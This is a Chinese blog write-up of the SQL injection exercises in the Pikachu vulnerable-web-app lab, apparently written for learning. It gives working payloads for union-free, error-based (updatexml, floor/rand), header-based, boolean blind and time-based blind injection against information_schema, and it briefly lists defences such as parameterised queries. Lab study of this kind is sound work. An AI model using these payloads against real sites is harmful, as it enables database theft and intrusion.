zoukankan      html  css  js  c++  java
  • pikachu--SQL注入

    Sql注入

     数据库注入漏洞,主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击者可以通过合法的输入点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信息泄露的一种漏洞。

    Sql注入攻击流程

    1.  注入点探测

    自动方式:使用web漏洞扫描工具,自动进行注入点发现

    手动方式:手工构造sql inject测试语句进行注入点发现

    2.  信息获取

    通过注入点取得期望得到的数据

          1.  环境信息:数据库类型,数据库版本,操作系统版本,用户信息等

          2.  数据库信息:数据库名称,数据库表,表字段,字段内容(加密内容破解)

          3.  获取权限       获取操作系统权限:通过数据库执行shell,上传木马

     

    Get方式中使用url提交注入数据;post方式中使用抓包工具修改post数据部分提交注入

    注入方法可以参照之前做sqli-labs实验的方法:https://www.cnblogs.com/7-58/p/12286731.html

     

    防范措施

    代码层面:

    1. 1.  对输入进行严格的转义和过滤(mysqli_real_escape_string)
    2. 2.  使用预处理和参数化(parameterized)

    网络层面:

    1. 1.  通过WAF设备启用sql inject注入策略(类似防护系统)
    2. 2.  云端防护(360网站卫士,阿里云)

     

    SQL数字型注入(post)

    提交  抓包发送到repeater里  修改id后面给他增加sql语句

     

    可以看到增加or 1=1之后,就把id全都列出来了

    可以看一下源码   这里直接post请求直接把id带入到sql语句中,没有做任何处理,所以在id这里存在sql注入漏洞

    SQL字符型注入(get)

    kobe' or 1=1#'

     这里输入kobe 只出现这个

    因为是字符型的注入,我们可以使用做sqli-labs方法进行尝试,加单引号、双引号、括号、以及他们的组合,这里需要注意闭合后面注释

    SQL搜索型注入

    实际上sql语句是 select username,id,email from member where username like '%$name%'

    用了一个like  ‘%xxxx%’

    所以我们可以用 xxx%’ or 1=1#

     成功闭合,将所有用户信息拿出

     

    SQL xx型注入

    Sql语句为:select id,email from member where username=('$name')

    相同的道理闭合:xx’) or 1=1#

    Insert/updata注入(使用报错注入)

    Sql语句:insert into member(username,pw,sex,phonenum,email,address)values(‘xx’,11,1,2,3,4);

    基于insert下的报错

    Gxy’or updatexml(1,concat(0x7e,database()),0)or ‘

    基于delete下的报错

    1 or updatexml(1,concat(0x7e,database()),0)

    基于floor()

    Kobe’ and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema,tables group by x)a)#

     

    构造语句:

    insert into member(username,pw,sex,phonenum,email,address)values(‘1’or updatexml(1,concat(0x7e,database()),0) or ’’ ,11,1,2,3,4);

    出来报错

    Delete注入

    删除一个留言  抓包 发送给到repeater 

    通过看源码id是一个数字型

    在repeater里面修改id  并转码

     

    在右边的界面拉到最后就会有报错信息的显示

    http头注入

    有时候后台开发人员为了验证客户信息(比如cookie验证)或者通过http header头信息获取客户端的一些信息,比如useragent、accept字段等 会对客户端的http header信息进行获取并使用sql进行处理,如果此时没有足够的安全考虑则可能会导致基于http header 的sql inject漏洞。

    登录 admin 123456

    抓包 发送到repeater  修改user-agent 在右边最下面会显示出信息

    firefox’or updatexml(1,concat(0x7e,database()),0)or ‘

    盲注

    基于boolean盲注

    表现:

    1.没有报错信息

    2.结果都只显示两种情况(0或1)

    3.在正确的输入下,输入and 1=1/and 1=2可以判断

     

    <实际上你要自己一个一个的去测>

    输入   Kobe’ and ascii(substr(database(),1,1))>113#

    kobe' and ascii(substr(database(),1,1,))=112#       正确输出

    将database()换成

    select table_name from information_schema.tables where table_schema=database() limit 0, 1

     

    kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0, 1)

    ,1,1,))>112#   这样构造还是可以的

     

    基于时间的盲注

    Kobe’ and sleep(5)#   页面会停顿5秒

     

     通过这个可以判断构造语句是否正确

    Kobe’ and if((substr(database(),1,1))=‘a’,sleep(5),null)#

    猜测第一个字符是否是a (a-z)

     我们可以将database()换成select  table_name from information_schema.tables where table_schema=database() limit 0, 1

    都是可以的,需要灵活的掌握sql注入的一些构造语句。

  • 相关阅读:
    vagrant+virtualbox 构建mac虚拟机环境
    python dns模块
    Ansible模块开发-自定义模块
    nginx rewrite 踩坑
    死磕nginx系列--nginx 目录
    死磕salt系列-salt文章目录汇总
    ant jmeter jenkins 实现自动化测试
    prometheus-入门尝试
    redis-Sentinel配置
    devops工具-Ansible进阶playbook&roles
  • 原文地址:https://www.cnblogs.com/7-58/p/12360440.html
Copyright © 2011-2022 走看看